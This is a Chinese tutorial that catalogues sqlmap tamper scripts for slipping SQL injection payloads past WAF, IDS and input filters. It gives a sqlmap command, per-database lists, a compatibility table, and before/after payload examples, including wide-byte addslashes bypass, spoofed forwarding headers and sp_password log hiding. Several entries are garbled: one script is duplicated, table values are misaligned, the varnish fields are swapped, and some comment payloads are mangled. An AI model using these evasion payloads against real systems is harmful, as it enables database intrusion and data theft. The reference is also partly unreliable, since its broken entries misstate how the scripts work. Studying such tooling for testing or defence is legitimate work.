sqlmap中tamper的简介
一、SQLMap中tamper的简介
1.tamper的作用
使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。
部分防护系统的缩写:
WAF:Web应用程序防火墙,Web Application Firewall
IPS:入侵防御系统, Intrusion Prevention System
IDS:入侵检测系统,Intrusion Detection System
2.tamper用法
--tamper=TAMPER 利用给定的脚本进行篡改注入数据。其用法可举例说明:
python sqlmap.py -u "http://.../?uname=admin&pwd=pass123" --level=5 --risk=3 -p "uname" --tamper=xxx.py
表示对指定的url地址,以所设置的level等级、risk等级,并采用选定的tamper篡改脚本对参数“uname”进行检测
二、适配不同数据库类型的测试tamper
当使用SQLMap篡改脚本执行渗透测试时,面对众多tamper可能会比较困惑,一开始不晓得该使用哪些脚本来测试。有的脚本是适用于常用数据库的SQL注入攻击,有的适用于特定类型的数据库,还有的适用于某种数据库的特定版本范围。为了相对明确的了解tamper的使用场景,把tamper的使用类型和范围作一下划分,具体如下:
SQLMap目录中的所有tamper script
tamper = apostrophemask , apostrophenullencode , appendnullbyte , base64encode , between , bluecoat , chardoubleencode , charencode , charunicodeencode , concat2concatws , equaltolike , greatest , halfversionedmorekeywords , ifnull2ifisnull , modsecurityversioned , modsecurityzeroversioned , multiplespaces , nonrecursivereplacement , percentage , randomcase , randomcomments , securesphere , space2comment , space2dash , space2hash , space2morehash , space2mssqlblank , space2mssqlhash , space2mysqlblank , space2mysqldash , space2plus , space2randomblank , sp_password , unionalltounion , unmagicquotes , versionedkeywords , versionedmorekeywords
通用的测试tamper
tamper = apostrophemask , apostrophenullencode , base64encode , between , chardoubleencode , charencode , charunicodeencode , equaltolike , greatest , ifnull2ifisnull , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , space2comment , space2plus , space2randomblank , unionalltounion , unmagicquotes
MSSQL(Microsoft SQL Servre)
tamper = between , charencode , charunicodeencode , equaltolike , greatest , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , sp_password , space2comment , space2dash , space2mssqlblank , space2mysqldash , space2plus , space2randomblank , unionalltounion , unmagicquotes
MySQL
tamper = between , bluecoat , charencode , charunicodeencode , concat2concatws , equaltolike , greatest , halfversionedmorekeywords , ifnull2ifisnull , modsecurityversioned , modsecurityzeroversioned , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , space2comment , space2hash , space2morehash , space2mysqldash , space2plus , space2randomblank , unionalltounion , unmagicquotes , versionedkeywords , versionedmorekeywords , xforwardedfor
Oracle
tamper = between , charencode , equaltolike , greatest , multiplespaces , nonrecursivereplacement , randomcase , securesphere , space2comment , space2plus , space2randomblank , unionalltounion , unmagicquotes , xforwardedfor
Microsoft Access
tamper = between , bluecoat , charencode , charunicodeencode , concat2concatws , equaltolike , greatest , halfversionedmorekeywords , ifnull2ifisnull , modsecurityversioned , modsecurityzeroversioned , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , space2comment , space2hash , space2morehash , space2mysqldash , space2plus , space2randomblank , unionalltounion , unmagicquotes , versionedkeywords , versionedmorekeywords
PostgreSQL
tamper=between , charencode , charunicodeencode , equaltolike , greatest , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , space2comment , space2plus , space2randomblank , xforwardedfor
tamper适用的数据库类型&版本
(*) 可能适用于所有版本
(-) 不适用
TAMPER |
MySQL |
MSSQL |
Oracle |
PostgreSQL |
apostrophemask |
* |
* |
* |
* |
apostrophenullencode |
- |
- |
- |
- |
appendnullbyte |
* |
* |
* |
* |
base64encode |
4,5,5.5 |
2005 |
10g |
- |
between |
5.1 |
- |
- |
- |
bluecoat |
* |
* |
* |
* |
apostrophemask |
9.0.3 |
20002005 |
- |
9.3 |
charunicodeencode |
4,5.0 and 5.5 |
2005 |
10g |
8.3,8.4,9.0 |
charencode |
* |
- |
- |
- |
commalessmid |
* |
- |
- |
- |
concat2concatws |
* |
* |
* |
* |
equaltolike |
* |
* |
* |
* |
greatest |
< 5.1 |
- |
- |
- |
halfversionedmorekeywords |
5.0 and 5.5 |
- |
- |
- |
ifnull2ifisnull |
* |
* |
* |
* |
informationschemacomment |
4,5.0,5.5 |
2005 |
10g |
8.3,8.4,9.0 |
lowercase |
5 |
- |
- |
- |
modsecurityversioned |
5 |
- |
- |
- |
modsecurityzeroversioned |
* |
* |
* |
* |
multiplespaces |
* |
* |
* |
* |
nonrecursivereplacement |
* |
* |
* |
* |
overlongutf8 |
5.1.56,5.5.11 |
2000, 2005 |
N/A |
9 |
percentage |
4, 5.0,5.5 |
2005 |
10g |
8.3,8.4,9.0 |
randomcase |
* |
* |
* |
* |
randomcomments |
* |
* |
* |
* |
securesphere |
4,5.0,5.5 |
2005 |
10g |
8.3,8.4,9.0 |
space2comment |
- |
- |
- |
- |
space2dash |
4.0,5.0 |
- |
- |
- |
space2hash |
>= 5.1.13 |
- |
- |
- |
space2morehash |
- |
2000, 2005 |
- |
- |
space2mssqlblank |
* |
* |
- |
- |
space2mssqlhash |
* |
* |
* |
* |
space2plus |
4,5.0,5.5 |
2005 |
10g |
8.3,8.4,9.0 |
space2randomblank |
- |
* |
- |
- |
sp_password |
* |
* |
* |
* |
symboliclogical |
* |
* |
* |
* |
unionalltounion |
* |
* |
* |
* |
unmagicquotes |
4, 5.0,5.5 |
2005 |
10g |
8.3,8.4,9.0 |
uppercase |
* |
* |
* |
* |
varnish |
* |
- |
- |
- |
versionedkeywords |
>=5.1.13 |
- |
- |
- |
versionedmorekeywords |
* |
* |
* |
* |
xforwardedfor |
* |
* |
* |
* |
三、SQLMap中tamper篡改脚本的功能解释
apostrophemask.py
功能:对引号进行utf-8格式编码(%EF%BC%87)
平台:All
举例:1 AND '1'='1 ==> 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
apostrophenullencode.py
功能:用非法的双unicode字符(%00%27)替换引号字符
平台:All
举例:1 AND '1'='1 ==> 1 AND %00%271%00%27=%00%271
appendnullbyte.py
功能:在有效载荷结束位置加载零字节字符编码
平台:Microsoft Access
举例:1 AND 1=1 ==> 1 AND 1=1%00
base64encode.py
功能:用base64格式进行编码
平台:All
举例:1' AND SLEEP(5)# ==> MScgQU5EIFNMRUVQKDUpIw==
between.py
功能:用between替换大于号(>)
平台:Mssql2005、MySQL 4/5.0/5.5、Oracle 10g、PostgreSQL 8.3/8.4/9.0
举例:
1 AND A > B -- ==> 1 AND A NOT BETWEEN 0 AND B --
1 AND A = B -- ==> 1 AND A BETWEEN B AND B --
bluecoat.py
功能:对SQL语句替换空格字符为(%09),并替换"="--->"LIKE"
平台:MySQL 5.1, SGOS
举例:SELECT username FROM users WHERE id = 1 ==> SELECT%09username FROM%09users WHERE%09id LIKE 1
apostrophemask.py
功能:用utf-8格式编码引号(如:%EF%BC%87)
平台:All
举例:1 AND '1'='1 ==> 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
charunicodeencode.py
功能:对字符串进行Unicode格式转义编码
平台:Mssql 2000,2005、MySQL 5.1.56、PostgreSQL 9.0.3 ASP/ASP.NET
举例:SELECT FIELD%20FROM TABLE ==> %u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
charencode.py
功能:采用url格式编码1次
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:SELECT FIELD FROM%20TABLE ==> %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
chardoubleencode.py
功能:采用url格式编码2次
平台:All
举例:SELECT FIELD FROM%20TABLE ==> %2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
commalessmid.py
功能:将payload中的逗号用 from和for代替,用于过滤了逗号并且是3个参数的情况
平台:MySQL 5.0, 5.5
举例:MID(VERSION(), 1, 1) ==> MID(VERSION() FROM 1 FOR 1)
concat2concatws.py
功能:CONCAT() ==> CONCAT_WS(),用于过滤了CONCAT()函数的情况
平台: MySQL 5.0
举例:CONCAT(1,2) ==> CONCAT_WS(MID(CHAR(0),0,0),1,2)
equaltolike.py
功能:= ==> LIKE,用于过滤了等号"="的情况
平台:Mssql 2005、MySQL 4, 5.0 and 5.5
举例:SELECT * FROM users WHERE id=1 ==> SELECT * FROM users WHERE id LIKE 1
greatest.py
功能:> ==> GREATEST
平台:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:1 AND A > B ==> 1 AND GREATEST(A, B+1)=A
a和b+1比较,取两者中的最大值为a;则a >= b+1,亦即a > b
halfversionedmorekeywords.py
功能:空格 ==> /*!0 (在关键字前添加注释)
平台:MySQL 4.0.18, 5.0.22(Mysql < 5.1)
举例:union ==> /*!0union
ifnull2ifisnull.py
功能:IFNULL(A, B) ==> IF(ISNULL(A), B, A)
平台:MySQL 5.0 and 5.5
举例:IFNULL(1, 2) ==> IF(ISNULL(1),2,1)
informationschemacomment.py
功能:
在 information_schema 后面加上 /**/ ,用于绕过对 information_schema 的情况
retVal = re.sub(r"(?i)(information_schema).", "g<1>/**/.", payload)
平台:All
举例:select table_name from information_schema.tables ==> select table_name from information_schema/**/.tables
lowercase.py
功能:将 payload 里的大写转为小写
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:SELECT table_name FROM INFORMATION_SCHEMA.TABLES ==> select table_name from information_schema.tables
modsecurityversioned.py
功能:用注释来包围完整的查询语句,用于绕过 ModSecurity 开源 waf
平台:MySQL 5.0
举例:1 AND 2>1-- ==> 1 /*!30874AND 2>1*/--
modsecurityzeroversioned.py
功能:用注释来包围完整的查询语句,用于绕过 waf ,和上面类似
平台:Mysql
举例:1 and 2>1--+ ==> 1 /!00000and 2>1/--+
multiplespaces.py
功能:围绕SQL关键字添加多个空格
平台:All
举例:1 UNION SELECT foobar ==> 1 UNION SELECT foobar
nonrecursivereplacement.py
功能:关键字双写,可用于关键字过滤
平台:All
举例:1 UNION SELECT 2-- ==> 1 UNIONUNION SELESELECTCT 2--
overlongutf8.py
功能: 转换给定的payload当中的所有字符
平台:All
举例:SELECT FIELD FROM TABLE WHERE 2>1 ==> SELECT%C0%AAFIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1
percentage.py
功能:用百分号来绕过关键字过滤,在关键字的每个字母前面都加一个(%)
平台:Mssql 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
举例:SELECT FIELD FROM TABLE ==> %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
randomcase.py
功能:将 payload 随机大小写
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:INSERT ==> InseRt
randomcomments.py
功能:在 payload 的关键字中间随机插入注释符 /**/ ,可用于绕过关键字过滤
平台:Mysql
举例:INSERT ==> I / ** / N / ** / SERT
securesphere.py
功能:在payload后追加特殊构造的字符串
平台:All
举例:1 AND 1=1 ==> 1 AND 1=1 and '0having'='0having'
space2comment.py
功能:用注释符 // 代替空格,用于空格的绕过
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:SELECT id FROM users ==> SELECT//id//FROM//users
space2dash.py
功能:用[注释符(--)+一个随机字符串+一个换行符]替换控制符
平台:MSSQL、 SQLite
举例:union select 1,2--+ ==> union--HSHjsJh%0Aselect--HhjHSJ%0A1,2--+
space2hash.py
功能:用[注释符(#)+一个随机字符串+一个换行符]替换控制符
平台:Mysql
举例:union select 1,2--+ ==> union%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2--+
space2morehash.py
功能:用多个[注释符(#)+一个随机字符串+一个换行符]替换控制符
平台:MySQL >= 5.1.13
举例:union select 1,2--+ ==> union %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2--+
space2mssqlblank.py
功能:用随机的空白符替换payload中的空格
blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
平台:Mssql 2000,2005
举例:SELECT id FROM users ==> SELECT%0Eid%0DFROM%07users
space2mssqlhash.py
功能:用[字符# +一个换行符]替换payload中的空格
平台:MSSQL、MySQL
举例:union select 1,2--+ ==> union%23%0Aselect%23%0A1,2--+
space2plus.py
功能:用加号(+)替换空格
平台:All
举例:SELECT id FROM users ==> SELECT+id+FROM+users
space2randomblank.py
功能:用随机的空白符替换payload中的空格
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:SELECT id FROM users ==> SELECT%0Did%0DFROM%0Ausers
sp_password.py
功能:在payload语句后添加 sp_password ,用于迷惑数据库日志(Space ==> sp_password)
平台:Mssql
举例:1 AND 9227=9227-- ==> 1 AND 9227=9227 -- sp_password
symboliclogical.py
功能:用 && 替换 and ,用 || 替换 or ,用于这些关键字被过滤的情况
平台:All
举例:
1 and 1=1 ==> 1 %26%26 1=1
1 or 1=1 ==> 1 %7c%7c 1=1
unionalltounion.py
功能:用 union select 替换union all select
平台:All
举例:union all select 1,2--+ ==> union select 1,2--+
unmagicquotes.py
功能:用宽字符绕过 GPC addslashes
平台:All
举例:1' and 1=1 ==> 1%df%27 and 1=1--
uppercase.py
功能:将payload中的小写字母转为大写格式
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:insert ==> INSERT
varnish.py
功能:添加一个HTTP头“ X-originating-IP ”来绕过WAF
平台:headers = kwargs.get("headers", {})headers["X-originating-IP"] = "127.0.0.1"return payload
举例:All
versionedkeywords.py
功能:对非函数的关键字进行注释
平台:MySQL 4.0.18, 5.1.56, 5.5.11
举例:1 union select user() ==> 1/!UNION//!SELECT/user()
versionedmorekeywords.py
功能:对每个关键字进行注释处理
平台:MySQL 5.1.56, 5.5.11
举例:1 union select user() ==> 1/!UNION//!SELECT/user()
xforwardedfor.py
功能:添加一个伪造的HTTP头“ X-Forwarded-For ”来绕过WAF
平台:All
举例:headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload